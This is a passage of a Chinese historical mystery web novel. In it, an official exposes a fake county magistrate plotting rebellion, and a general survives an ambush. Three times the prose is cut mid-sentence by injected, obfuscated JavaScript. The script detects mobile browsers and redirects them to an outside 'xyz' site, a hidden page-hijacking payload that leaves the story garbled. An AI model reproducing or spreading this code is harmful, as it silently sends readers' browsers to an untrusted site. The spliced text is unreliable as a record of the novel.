“还有你,”孙夫人不顾阻拦抓过刘采菱的衣襟,“你这个丧尽天良的东西,拿一帮小姑娘的身子赚钱,你、你必定永世不得超生!” “孙娘子,人不能那么说话吧,”刘采菱反倒笑了起来,“我也是要吃饭的,我给她们吃给她们穿给她们住,我施了这么多恩,她们又不能下地干活,可总得还我的恩吧?做这档子事不就是个你情我愿,算不得下贱!” “你……” “夫人,你不要和她说这个。” 源尚安骤而打断对话,刘采菱还以为他站在自己一侧,正要借势发威却又被源尚安挡住:“我问你什么你再说什么。我没有问你,你不要开口。” “大人……” “你想说话可以,但你只许说一件事。你告诉所有人,阿锦身上的伤是怎么来的?” 心脏猛烈跳动,呼吸也随之急促,更可怕的是她感觉不到这惊慌的尽头。 “说不准小孩子淘气,她娘就——” “胡说八道!”孙夫人含泪道,“那分明是朝死里打的!” “哦,那也许就是玩的时候不小心……” 后半句话硬生生被她吞了下去,刘采菱抬头看见源尚安冷眼相对,驳斥道:“编好了再说!” 刘采菱一下子跌坐在地,嘴唇两颊苍白如纸,连带着身侧的孙七也跟着一抖。 可他受限于病体,声音明明不高,也不是那种大吼大叫、怒目圆睁的发威架势,却…… 却叫做了亏心事的人莫名心惊胆战,不敢抬起头来。 刘采菱闭上了眼睛大口大口喘气,手也跟着不停抚摸心口。 他到底是什么人? ……他是什么人不重要,不能由着他继续查下去!否则大家都得跟着一起玩完。 刘采菱那双带着不甘和恼怒的眸子对上了刘县令的视线,后者却胆怯地低下了头。 赵兴没注意到这点细节,又开始煽风点火:“顾大人,太爷,事态已然明了,这留春坊苛待孙夫人的女儿,怕被发现后坏了名声,这才一不做二不休杀人灭口。” 潘县丞也想来掺合一脚:“太爷,此事得公正查办!还阿锦一个公道!” 刘县令猛猛吸了口气,啪地一拍惊堂木:“来人,将刘采菱带下去严加看管!听候发落!” 他话音刚落,围观群众便有人带头叫了声“好”。 善恶终有报,这符合民众心里最朴素的期待。 “留春坊涉嫌虐待其下舞妓,虽然本县允许开设青楼楚馆,但不允许肆意妄为,”刘县令又道,“来人呐,封住留春坊,本官要好好调查一番!期间不许任何人随意踏足!” 衙役精神抖擞领命:“是!” 等人走后,刘县令又吩咐给予孙夫人照顾和赔偿。 一场惩恶扬善的大戏已然接近尾声,这里所有当事人的诉求似乎都业已得到了回音。看戏的尽了兴,担忧仕途的缓了口气,讨回公道的眼见凶手被抓,可是…… 刘县令笑眯眯道:“顾主簿,有劳了。” “举手之劳罢了,不必放在心上。” 刘县令拱手道:“主簿此言差矣,本县地处偏僻,您也看到了,这些个仵作全都是摆设。若不是有您帮助,这案子还不知道要被他们的糊涂耽搁多久。” 他已然把仵作的罪说成了学艺不精造成的失误。 “刘大人——” 刘县令刻意盖过了源尚安的声音,喝道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14932950|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“罚你们半年俸禄,这些粮米全都补偿给孙夫人!” 仵作心里委屈得很,可也只能咬牙认了:“……是,太爷。” 孙七偷摸着绕到了源尚安坐处,他已经听出来这事差不多该了结了,生怕半道上再被人想起来。 他在心里暗自祈祷,忽略了自己最好。 赵兴适时扶起孙夫人宽慰:“夫人,您都看到了吧?善有善报,恶有恶报。我们绝不会放过害死你女儿的凶手。” 孙夫人眼中的泪终于徐徐滚落,她轻轻推开赵兴,冲着源尚安和寻微郑重道:“多谢二位大人。” 眼看她作势要跪,源尚安连忙上去扶人:“分内之事罢了,夫人不必如此。” 孙夫人不懂这背后的弯弯绕绕,也不知道这几人之间的利益瓜葛,她只知道自己期盼了这么久的真相终于有了重现于世的一天。 她心愿已了。 “顾大人,我知道有些话或许您不想再听了,但是、但是……”孙夫人紧紧握住了源尚安的手,泪如雨下,“大人,我、我替阿锦她谢谢您……” 那双布满皱纹的手颤抖不休,热泪滴答滚落,沿着缝隙也流到了源尚安的掌心。 源尚安还想说些什么,他知道这一切还没真正结束,可是此时望着孙夫人浸满泪水的眼睛,一时间也无从开口。 赵兴替他道:“澄清冤案本就是我等所愿,夫人从今往后一切安好,就是对我等最大的告慰。” 事已至此,源尚安也不希望后续波折继续打扰到孙夫人:她一个人苦苦支撑了这么久,也该好好休息了。 源尚安递了帕子给孙夫人拭泪,转头道:“云昼。” “哎。” “送夫人回去好生休养。” 云昼火速领命,把人扶了起来:“夫人,我送您回去吧。” 衙门外等候的老百姓们说不出来什么华丽的辞藻,对于这场翻案也唯有从心底的一声声诚挚叫好。 一曲终了,他们也知道不该继续打扰旁人,有热心肠的冲孙夫人道了声多多保重,随后才三三两两地离开。 待人群一重重散开,源尚安才注意到天不知何时暗了下来 结束了吗?他在心底无声叩问自己。 “嗳,”寻微用胳膊肘轻碰了下他,“小顾大人,你做得不错嘛。” “我本来还把那几位留春坊姑娘带来了,”寻微又道,“没想到居然没有她们出场作证的机会。” 源尚安脸色微沉:“寻将军,赶紧把她们都送回去,别叫人发现。” “哎?为何——”寻微正想询问,却想到四周还有旁人,不是她一探究竟的时候,“好,那我先走一步?小顾大人,你也快快跟上来不要耽搁。” 源尚安应了声,让她记得把孙七也捎上。随后沉默地转身再度和盘踞此地多年的地头蛇正面交锋。 刘县令方才分明是尽可能地把罪名朝轻了说:失手致人死亡不至于判死,而且他说的是暂时收监,并没说定什么罪名。 大门一关,人群一散,再过一段时间,等舆论平息下来,大家差不多忘了这件事,谁知道他会不会又把人再放出来继续逍遥自在? 刘县令道:“顾大人,都结束了,您不走吗?” 源尚安反问:“结束了吗?” “不然呢?”刘县令道,“刘采菱失手致人死亡,本官已经命人将她收监,此案真相大白,还有什么?” “还有什么您自己心里比我更清楚,”源尚安道,“这桩案子为什么一开始被定成了失足溺水,为什么起先所有人都在堵着孙夫人不让她上诉,又为什么留春坊这样一个地方还能在本地逐渐做大。” “刘大人,这其中有什么弯弯绕绕,你其实心知肚明。” 刘县令笑容一僵:“顾大人,我不明白您的意思。” 天幕彻底昏沉黑暗,衙门里却没有丝毫点火照明的意思,任由黑夜肆无忌惮地蔓延将人的身影面容吞噬。 “您方才根本没有明确定罪,”源尚安也不介意把话挑明,“谁知道过段时日风头一过,那家留春坊会不会又改头换面重现于世?” “会不会,您亲自去看看,不就好了?” 赵兴不由得打了个寒噤。 记忆里他可从来没见过县太爷这般口气。 他不是个软弱无能的绣花枕头吗?否则怎么会轻而易举地被他和潘县丞架空多年。 赵兴顿觉不妙,拉着源尚安的衣袖就要劝他适可而止。 “顾大人,回去吧。” 再这么下去可就不好收场了。 没想到源尚安果断决定迎难而上:“好啊,那就劳烦刘大人带路,我正有此意。” 刘县令伸手道:“请。” 天色昏昏人群已散,他又孤立无援,实在是个送上门来的动手机会。 不要白不要。 21.拨迷云(三) “哎?这就回来了?” 卫襄看见寻微时还有些意外,后者解释道:“嗨,您还不知道吗,咱们这位小顾大人自有一番盘算。” 卫襄担忧道:“可我看这永丰的水很深,怕不是他一个人就能趟过去的。” “呀,这个嘛,”寻微笑道,“那我倒觉得您不必担心,我们这位小顾大人可是很聪明的。他这样做自然有他的道理。” 卫襄却仍旧愁眉不展:“寻姑娘,你不觉得他许多时候和少主他太像了吗?” “……像?”寻微眨了眨眼,“也正常吧,毕竟是从小一块长大的兄弟。” “唉,我说的不是这个意思,”卫襄道,“我是说,他和少主都太过于执着,有时候为了认定的事情,不惜让自己陷入孤军奋战的境地。” 说好听一些叫虽九死其犹未悔,说难听点那恐怕就是不撞南墙不回头了。 聪明的人懂得随机应变,伺机而动。因此许多人自然而然地以为他们面对更大的危机时也会依然游刃有余。但实际上越是聪明的人,可能反而越是容易执拗。 何方圜之能周兮,夫孰异道而相安?鸷鸟之不群兮,自前世而固然。 恰恰因为看得太透彻,深知自己选的这条路必须坚持到底,没有任何动摇的余地,这时候无论旁人再怎么劝都没有用。 而越是如此,人往往越容易陷入迷局和困境,最后反倒被自身才智拖累,成了聪明反被聪明误。 卫襄忧心忡忡的正是这点。 “总是这样的话,可是很危险啊。” 他语音刚落地,天空中倏地炸开了一朵金色烟花。 “……是信号弹!”寻微立时拔刀上马,“出事了,四哥在叫我们过去!快走!” —————— 嚓。 前头的官兵擦燃打火石,点亮了灯盏照路。 夜色与火光交错下,刘县令的头身也分出来了阴阳:“顾大人当真不屈不挠。” “谬赞了,”源尚安与他只隔了一两步的间隙,“只是因为刘大人盛情难却,我只好奉陪到底了。” 刘县令边走边笑:“这世上有一种人最不好对付,就是顾大人你这样的人。” “哦?” 刘县令道:“你太聪明了,你不屑于装糊涂。” 源尚安一声轻笑。 刘县令随着地上摇晃的光点前行,神情的细微变化被隐匿于黑影里:“不痴不聋,不做家翁。这世上的事许多时候要的就是一个适可而止、网开一面。聪明人自以为掌握了线索,便想着咬死不放。就忘了一句螳螂捕蝉,黄雀在后。” 他的提醒已足够了然明确,甚至不能说是提醒,而是威胁:若源尚安再进一步,那就不要怪他—— 不想源尚安却淡然反问道:“你怎么知道你一定就是黄雀?” 周遭一瞬死寂。刘县令立时停下了脚步回望着源尚安。 赵兴一直跟着两人身后,此刻觉察到气氛微妙,立刻劝道:“顾大人,您看这时辰实在是不早了,怎么好意思劳烦太爷再送我们一程。” 他拉着源尚安的胳膊,恨不得把人直接扛走了:“走吧,回去吧,啊?” 刘县令道:“来都来了,这回想走了?” 赵兴手一僵。 刘县令拍了拍手,楼上即刻得到号令,霎时间灯火通明。 “顾大人,不是说要奉陪到底吗?” 四周侍卫当即散开,堵住了两人的退路。 这鸿门宴还必须得去!赵兴心头顿时如同寒冰冻结。 完蛋了完蛋了,他到底还是上错了船。 可是现在想反悔也来不及了,赵兴简直欲哭无泪,怎么他最近就这么倒霉啊? 源尚安轻轻掰开赵兴的手,似乎对他此刻无措的心绪早有所感:“不必担心,既然是刘大人一番好意,那我们说奉陪到底,就一定奉陪到底。” “好!顾大人果真爽快,”刘县令伸手道,“请!” 赵兴这下是真的想哭了,谁说要奉陪到底了?他可没说要来啊,待会要动手的时候能不能给他留一条命? 他在心里暗自求神告佛,这一遭要是能保佑他平安度过,他从今往后一定洗心革面,重新做人。 没成想暗自念经的声音被源尚安发觉,他眼眸里原先的那抹丽色一沉,换成了副轻藐模样:“省省吧,要是求神拜佛有用,这世上都该应验多少回了。” 赵兴搓了把手上汗水,咬咬牙跟着人上了二楼。 事已至此,事已至此。他在心里默默吼了几声给自己壮胆。 这些人又不是自己肚子里的蛔虫,哪有证据证明自己的“背叛”?到时候他咬死不认,他们又能怎么着? 永丰县城不大,他又帮着干了这么多年的活,一时半会儿哪还有比自己更好的人选。 动手,那叫得不偿失。 这样一想,赵兴脚步都轻快了不少。 二楼雅间陈设简单,却不失风雅之意。源尚安一眼便看到了回纹如意方桌上的棋盘和茶具。 赵兴虽然贪些小便宜,却没有赌博玩牌的恶习,他不认得这东西,还是源尚安解释道:“樗蒲。这里根本不是留春坊。” “这盘上拢共有五枚骰子,上面有黑白双色。若能投到全黑便是最高彩,四黑一白次之,其余四种则只能算是杂彩。” 见赵兴懵懵懂懂,他坐下时不免笑道:“看来大人有时候的确洁身自好。” 刘县令对这些博具似也兴致不高,只拿起其中一枚随手把玩:“顾大人还真是见多识广。” “哪里,懂些皮毛罢了。” 刘县令摇了摇头:“不,窥一斑而知全豹,说的就是你这种人。” 灯光下他那只把玩骰子的手肤色黑黄,隐约可见一些细小划痕。 “顾大人,你我不过萍水相逢,马上就要各奔东西,”刘县令道,“何必为难彼此,闹得下不来台。不如你我各退一步,海阔天空。” 源尚安环顾四周严阵以待的侍卫:“你不是劝我各退一步,是逼我退一步。” 刘县令瞬间拉下了脸色。 源尚安却旁若无人地投掷着樗蒲:“我赤手空拳随刘大人前来此地,要的就是一个准话。如今我的诚意已经到了,怎么刘大人还藏着掖着。” “你不说,那我就替你说。” “留春坊这种地方之所以能干下去,是因为刘采菱在替你们攒钱,你们要靠钱色交易慢慢腐蚀着夏州,”源尚安道,“剿匪也不过是你们搜刮百姓的又一个旗号。” “如果仅仅到此为止,你们的所作所为只能说是利欲熏心。但你们对阿锦的死百般遮掩,不仅对她,你们怕每一个逃走的姑娘都带出来点风声。因此才派人严防死守,必要时甚至不惜杀人灭口。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14946577|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “那就只有一种解释。” 五枚骰子噼啪落盘,恰好是全黑的上等彩头。 源尚安的声音同时而来:“你们要做的事,叫谋反。” 刘县令两颊颤抖,姿态犹如动怒的野兽。赵兴心悬到了嗓子眼,几乎以为他要下令杀人了。 谋反二字着实将赵兴惊出来了一身冷汗。然而下一刻刘县令亲口承认才更是叫他绝望:“顾大人,你果真很聪明。” 赵兴不争气地两手发抖,冷汗沿着裤腿而下打湿了地板。 叛国谋反是满门抄斩的大罪! 他是贪图小利,可他不敢拿这断头的钱。 贪财若是东窗事发,他也只是革职查办,可谋反二字一旦坐实,等着他的只有五马分尸! 这帮人疯了!他可不想陪着一帮叛贼去死! “你、你……”赵兴瑟瑟发抖,声音都走了调,“老狗日的,你们居然敢谋逆!你们疯了!” 刘县令啪地一声拍桌,身后侍卫即刻得令,拔刀拦在了赵兴颈部:“对,就是谋反,从一开始就是这样。” 赵兴啊地一声大叫:“狗日的我跟你们拼了,我——” 一柄寒光刺目的长刀铮然出鞘。 “你再吼一句的话,我不介意杀了你祭旗。” “你……我去你大爷的!你们找死别拉上我!” 赵兴破口大骂,他好歹也是主管治安多年的人,有些拳脚功夫傍身。生死关头,他即刻爆发,劈手夺了一人的刀:“……我看谁敢动手!” 十多名侍卫也旋即拔刀相向,将他团团包围。刘县令冷笑道:“凭你那点功夫,你以为你出得去?” 赵兴拿刀的手青筋暴起:“你、你……” “来啊,”刘县令挑衅道,“老赵,方才那一下不是很威风吗?怎么不敢砍人?” “……你别逼我!” 他正要大叫着挥刀冲出包围,可脑中啪地一声崩断了弦。 不远处的那人竟是忽而一阵大笑。 所有动作一瞬凝滞,刘县令以为他是心知死到临头所以癫狂:“放心,我送你们两个一起上路!” 这笑声叫人摸不着头脑,同时也让源尚安不得不停下轻声咳喘,他顿了片刻又道:“你们根本就不懂什么是谋反。” “如果是我,我就忍辱负重,先除掉朝中肱骨,再夺得大权在手,同时积攒人望,到时候一呼百应,谁敢不从?天子、皇权、百官,都不过是我脚下微尘。喜怒任情,生杀由我,这才是谋权夺位。” 刘县令呵了声:“好一个生杀予夺。” “可惜这辈子你没机会体验了,下辈子记得投个好胎。” 屠杀的刀刃高高举起,眼看就要斩落头颅,赵兴大张着嘴,却不敢发出一点声音。 源尚安砰地将樗蒲棋盘砸向窗外,咚的一声巨响过后,他叹声道:“不中用,太不中用了。” 屋檐上埋伏的人得到指令,当即带着数十名黑衣武士一跃而下死死包围:“不准动!放下武器速速投降!” 箭簇如暴雨般袭来。 变故只在瞬息之间,刘县令甚至没能反应过来什么时候被人盯上的,方才他引以为傲的侍卫便尽数亡于箭雨。 处于风波和血雨中心的源尚安却依旧岿然不动,只随手点了包括刘县令在内的几个人:“留这三个活口,其余的都杀了。” 22.拨迷云(四) 戚玹带人翻进二楼,踩着尚未凝固的人血拜道:“让大人受惊了。” 源尚安抬手示意不必请罪,戚玹跨过热乎乎的尸体,目光直直望向前方。 眼见周遭侍卫倒了一大片,赵兴才堪堪回过神来。然而他惊魂未定,连忙辩白道:“……将将将将军,别、别杀我,我没有谋反!他们干的勾当我不知情,我真的不知道我——” 赵兴忽而想起来源尚安刚刚指明要留下来的“活口”中不包括自己。 他崩溃地丢掉了武器两手抱头:“顾顾顾大人我还有妻儿老小求您放过……” 源尚安哈哈笑道:“你不是自己人吗?慌什么。” “我……” 赵兴瞠目结舌地指了指自己,又看了看戚玹,半晌才反应过来:“小的多谢将军救命之恩!” 还好,还好,他最终没有选错队。 赵兴止不住地以手抚膺,还好他刚才选择了坚决和这伙反贼划清界限,要不然脚下那堆中箭倒地的亡魂里还要再多一人。 谢天谢地,他从今往后一定重新老老实实做人。 “我对永丰还不算熟悉,”源尚安似是猜中了他心中忧虑,特意出言宽慰,“你总能帮到我,我自然不会伤你。” 赵兴舔了舔干涩起皮的嘴唇,心下五味杂陈:“……谢大人。” 他已经分不清自己到底是幸运还是倒霉了,一连串的惊魂动魄已然叫他头晕目眩。 赵兴两腿发软,不由得向后倒去,好在身后有一高大威武的男人反应迅速,牢牢抓住了他的胳膊。 “多……” 另一个谢字还没出口,赵兴眨眼愣了愣,总觉得这身形瞧着有些熟悉。 项连蒙着头脸,但不妨碍源尚安还是能够一眼认出来他:“你也到了,真巧。” 他没有应答,那双棕红瞳眸望向了源尚安的双腿。 项连本以为他是有意彰显自己的处变不惊,故而于血雨腥风中依然稳坐不动。可此刻他分明瞧见匿于黑袍下的右腿在微微发颤。 那并非源于惧怕或是不安,而是来自昔年的伤痛让他不良于行。 ……是啊,他都快忘了这是个病人。 源尚安似也觉察到了项连目光可疑,他略微侧身挡住了腿脚:“这几人认得吗?” 刘县令还试图垂死挣扎,戚玹眼疾手快,立刻拔剑刺穿左肩皮肉,将其牢牢钉在墙上。 吃痛之下他当即龇牙咧嘴地喊疼,听得后头赵兴都忍不住汗毛倒竖。 源尚安见他实在胆战心惊,便也不继续为难赵兴,让项连把人先带下楼去。 人走后戚玹道:“老实交代问题,还可能捡回一条命。” 源尚安点头示意威胁已然到位,剩下的话由自己来说:“你余下的同伙和这些年攒下的钱粮都在什么地方?” “呵,你们休想……呃!” 刀刃瞬间深入了一寸,再用点力气就能活生生砍断手臂。刘县令总算服了软:“别、别……我、我说。” “钱不在这里,这里没地方放,”痛楚之下刘县令面色惨白,“在朔方郡,也不是放在一个地方,都是分开存在几间寺院的。” “寺庙?” “……是,那佛像都是专门找人造的,是空心的,能打开……那地砖底下也有、也有暗格……啊……” 刘县令痛苦地闭了闭眼,忍不住因痛粗喘。 源尚安略微昂首:“寺院名字?” “我只去过两家……一个在城北,叫明觉寺,另一个应该在城西,叫、叫宝海寺……” “刘采菱被你带去哪儿了?” “就、就在衙门的牢房里。” “那两座庙里哪几个是你们的人?”源尚安又问。 “我、我不清楚。” 戚玹面色冷然,刀锋刺啦一拧,痛得刘县令再度喊叫起来:“大人!我没说谎!上头的人怕暴露,送货运货都是分开进行的,彼此之间不见面!不见面……” “是吗?”源尚安转而审视着余下的两名活口。 “是、是这样。”两人慌张应答,生怕戚玹也给他们一刀。 “你、你到底什么人?”刘县令大口大口地喘着气,冷汗滴滴答答朝下淌,“你不是军营里的主簿,对吧,顾大人?” 源尚安无动于衷,刘县令见此却笑了起来:“一个小小主簿,能有什么能耐叫他们命令我杀人灭口?不够格……” 戚玹正担心源尚安身份暴露,不料源尚安却是应了下来走上前去:“你猜的不错,我确实不是主簿。” 刘县令轻声哼笑:“果然……” “我是夏州太守,我就是源尚安。” 说这话时源尚安与他平静对视,然而这平静却更像是山雨欲来前蛊惑人心的假象。 “源尚安……” “对,”源尚安道,“这是个秘密,不能告诉任何人。” “您放心,我一定保密、一定保密!” 源尚安对刘县令的允诺并不在意:“现在告诉我最后一件事,真正的县令人在什么地方?” —————— 砰! 三只羽箭同时精准无误地贯穿了咽喉,血液溅落窗棱的那一刻吓得赵兴差点跟着一跳:“……全杀了?!” 项连对此毫无情绪波动,赵兴拽着他的衣袖:“不是、不是你们大人他……他不是说留三个活口……” 怎么还会下如此狠手! 然而他的声音即刻收住,赵兴望见戚玹陪着源尚安下了楼。 源尚安道:“他既然答应保密,那就要说到做到。” 死人的嘴才最适合保密。 赵兴心有余悸:“可是死了这么多人,我……” 我要怎么解释? “今夜有歹人意图不轨,”源尚安道,“幸而赵县尉英勇无畏,率领义士将他们尽数诛杀,这才为永丰免去了一场动乱。” 赵兴听得目瞪口呆:“不是,我……” 我还成带头的那个了? 源尚安反问:“你还想回去?” 回去的下场就是个死,赵兴这点还是明白的:“不不不,我已经跟定大人认定大人了。” 源尚安摇头:“错。今夜诛杀歹徒我只是辅助赵县尉罢了。” 赵兴:“……” 事已至此,活着就行,随便他吧。 “那咱们现在回营?” “不,”源尚安转向左侧,戚玹立时命人点灯照路,“去救人,救真正的刘县令。” “……啊?” 赵兴一头雾水,全然跟不上他的节奏。 那位被杀的是假的? “可是你怎么知道?” 连他这个跟了刘达多年的老人都没看出来有什么问题,源尚安不过是第一回见他,怎么就能肯定人不是真的? 源尚安道:“他的手有问题。若是文官出身的人,右手常年握笔,指节处理应留有薄茧。但他手上的茧位于掌心上端,且有一些细小伤口。” “这是常年习武之人才会有的手。” 他之所以如此笃定,是因为替大魏镇守边境、抵御柔然的父亲也有着同样的一双手。 儿时那双手伸向自己,揉捏脸颊的时候,那粗糙的触感总会引起源尚安下意识地侧脸躲避。 赵兴不知往事正在他脑海中无声流转,只道:“原 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14965442|159584||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来如此。” 他的重点也转到了手上,不由得低头借光看了看源尚安的手。 那上面也爬满了细微的创口。 赵兴恍恍惚惚地想,达官贵人理应养尊处优,这样的伤口从何而来? 余光瞥见了身侧不言不语的项连,赵兴当即皱起眉头:黑夜里这高大而富有压迫感的身形竟是如此熟悉。 “嘶,不对,你好像是那天追——” 话未说完,项连啪地一记手刀击晕了人:“事真多。” —————— 带着火的羽箭嗖嗖穿透枯树枝干,树身嚓啦断裂之余当即燃起一片火光。 火焰烘烤下战场迅速升温,身上铁甲也逐渐滚烫,汗水不受控制地滴答流淌,蒙住了一部分视线。 可是在这样近乎绝望的战况下,源素臣依旧屹立不倒,抬剑干净利落地将一侧偷袭的士兵捅了个透心凉。 “你确实不错。”一切的始作俑者由衷赞叹。 毕竟他此前从未见过哪个人能在误吸入迷药的情况下,还能单靠意志力坚持那么久。 中招的自己人已然昏倒了一大片,目前状况是肉眼可见的劣势,可他居然依旧能咬紧牙关不露破绽。 有些人的确有资本做统帅。 暗处一支夺命羽箭再度袭来,源素臣看也不看,劈手将之迅速断为两截。 置身事外的领头人鼓起了掌:“你不愧是源司繁的儿子。” 当年源司繁被柔然大将逼到山穷水尽又身负箭伤的绝路上,北境守军甚至已然做好了主帅战死沙场的心理准备。 谁也没想到他在那样的情况下还能带领残部杀出重围,同援军汇合后挫败强敌。 此战不仅让他的名号响彻漠北全境,也让身为敌手的柔然为之叹服。 身为传奇英雄的血脉,源素臣在少时早就听过这些事迹无数遍了。 他利落收剑,拔起一柄插入泥地的长枪:“……错,我比他更强。” 枪尖挑破进击者的血肉,硬生生又将人逼退了几步。 这已然超出了□□所能承受的极限。 “好,好志气,”那人拍手道,“小源将军,既然如此,你若命丧此地岂不是更加可惜?” “再说了,你就一点也不再想见她一面吗?” 长枪轰然劈断燃烧的树干,火球朝着敌军中央飞去,霎时间引起一片尖叫,坐下战马也随之惊慌长鸣。 源素臣的动作决绝至极不留余地,可紧随其后的沙哑嗓音却似乎沾染了泪声:“……人死不能复生。” 那只不过是生者自欺欺人的幻象。 火星点燃地上草叶,原本企图围困源素臣的百来人陷入了短暂的混乱,他趁机冲出了火场。 见状副官抬手就要命令身后万箭齐发。 首领还是叫停了副官:“阿归,何苦如此呢?” 听到这声呼唤,源素臣手上动作霎时一滞。 对岸的声音沾染了遗憾:“大家也都很期待你回来呢,阿归。” “你也是天王之后,”那声声呼唤仿若魔咒,亦犹如引诱,“何不随我等一起,建立一个万世不灭的帝国……” “四哥!” 寻微策马而来,焦急的尖叫声刹那惊起飞鸟无数。 哒哒马蹄声引发了警觉,为首者啧了声:“有人来了。” 源素臣正要叫人,可下一刻便生生被这人的力道撞得退后几步。 这是个经验丰富的杀手! 源素臣立时做出了判断,可紧接着大腿便是一凉一热。 血跟着刀刃扎入的动作直冒,威胁的声音即刻响起:“叫他们退后,否则你死定了。” 23.诉衷情(一) 源素臣咬紧牙关不做回答,他对疼痛的忍耐程度已然超出了敌手的想象。只见他抬起一脚照着人腹部踹去,分毫不顾刀刃拔出后失血过多的风险。 “……你!你真是……” 不知好歹四字还未出口,长枪便杀到了他的鼻尖前。 然而杀机未能如约而至,源素臣腿部受创,已然不能维持住站立的姿势。枪尖晃了又晃,沉重的铁器险些带着他摔倒在地。 对方迅速抓住这一刻暴露出来的弱势,两手上前勒住了颈部:“你找死。” 寻微大惊失色:“四哥!四哥!” 源素臣按住那人两手,竭力喝道:“……放箭!放箭!” 寻微下意识地要喊不行,因为箭矢速度过快,难说不会一并跟着贯穿源素臣的身躯。 可她知道这个人向来雷厉风行说一不二,定了的事绝不会悔改,于是心下发狠,抬手便拉满弓弦。 箭雨呼啦啦地朝着人群杀去,那人即刻松开两手,千钧一发之际抓过死尸抵挡。 那具尸体刹那间便成了只刺猬,这人也不嫌弃,手背擦了下嘴又道:“这世上最怕的就是你这种人,连自己的命都可以不在乎。” 连生死都不足以动摇他分毫,那还有什么能叫他俯首听命? 高大强壮的人影再度扑上前来,和源素臣扭打在一起。 混乱之中源素臣只感到那双手飞速在自己身上搜寻着什么,而后猛地拽掉了靠近腰带左侧的玉坠。 受限于左腿的伤,源素臣没办法阻止他的动作:自己此刻招架住攻势就已然耗尽了心神。 “走!” 源素臣以枪插地,勉勉强强支撑住摇摇欲坠的躯体,力今之下只得目睹那人带着残部飞速逃窜。 “四哥,”寻微连忙下马上前扶人,“你怎么样,要不要紧?” 源素臣摇了摇头,可血与汗已然浸透了左腿的衣衫。 他刺啦一声撕下来一片布料,简单地在伤处做了包扎,低声道:“匈奴残部——没事的我还能走。” 寻微不大放心,扶着人胳膊没松手:“他们怎么会突然盯上我们?” “因为……”源素臣忍着疼,“因为我也是其中一员,是不该存活至今的一员。” 他摸到腰带边空了的挂绳,表情掠过一丝短暂的疑惑。 “……四哥,”寻微挣扎了许久,还是说出来了心底的话,“你以前从来不会说这样的话。自从我们平定贺真之乱后,我就觉得、我就觉得你和过去不太一样了。” 源素臣哂笑道:“我过去是什么样?” 寻微道:“我从你身上,能看见好多离去之人的影子。” 略带自嘲之意的笑停滞了少顷,源素臣顿了顿,换了副半开玩笑的口气:“你那是累了,看花眼了吧。” 寻微却无比笃定自己的判断:“大哥走了之后,你就像他一样照顾我们,每日给我们做饭。我明明记得从前你是爱用刀的,可是二哥不在了之后,你就改用剑了。还有奚将军……” “将军被奸贼所害之后,你就和他一样,整顿军纪,治下严明,”一张张模糊的面容于此刻格外清晰,寻微说到这里几乎要哭出声来了,“我知道他们都不在了,可是我看到你的时候,总觉得、总觉得他们还有残余的魂魄留存于世。” 源素臣半垂着眼帘,遮盖了眸中暗涌的万千思绪,只揶揄道:“你把我说成块拼图了。” 寻微声色哽咽,她不再多说什么,只是固执地摇了摇头坚持己见。 她缓了片刻,又道:“你心里堵着那么多事,也不觉得塞得慌。” 源素臣拗不过她,只好转移话题道:“对了,戚玹他们还没回来?” 寻微怔愣住了,可恍惚间却想明白了他的心境:历经生死之后,他迫切地想要见故人一面。 只是这十多日来的艰险已然证明了背后之人的狠毒,与之相对的另一侧危机当真那么容易解决吗? …… “哎、哎呦,嘶……”赵兴哀哀叫唤了几声,伸手不停地揉着后脑,“疼……” 视线由模糊转为清晰,映入眼帘的是一处光秃秃的山岭。 赵兴困惑地摸了摸头,自己怎么会在这儿? 他盯着项连看了看:“哎,我怎么记得刚才好像有人打我?” 项连冷漠道:“你记错了,没那回事。” 赵兴指了指后脑,项连又道:“你太累了,晕倒在了半路上,我好心把你背了过来。” 赵兴:??? 这出插曲叫源尚安不禁笑了笑。 他道:“既来之则安之,这话赵大人可曾听过?” 赵兴没说话,看神情显然是接受了事实,源尚安便指了指前方山洞又道:“既然如此,那拯救刘县令的任务就交给你了。” “嗨,专程叫我来干活的呗。” 赵兴小声嘟囔,问身侧借了把刀,另一手则提着灯笼,小心翼翼地猫着腰跟侍卫们进了山洞。 听到由远及近的脚步声,刘达几近要感激涕零:“……老赵!你们可算是找来了!” “……太爷遇险之后我自觉不对,因此不敢松懈,”赵兴举起灯笼面不改色地扯谎,同时给刘达递了绳子,“太爷放心,那伙劫持您的歹徒已经被我尽数诛杀,我是来接您出去的。” 刘县令感动得一把鼻涕一把泪,就差原地跪下来喊赵兴祖宗再磕几个响头了。 他拽着绳索慢慢爬了上来,借助灯光看清源尚安的一刻不由怔住:“你是……” 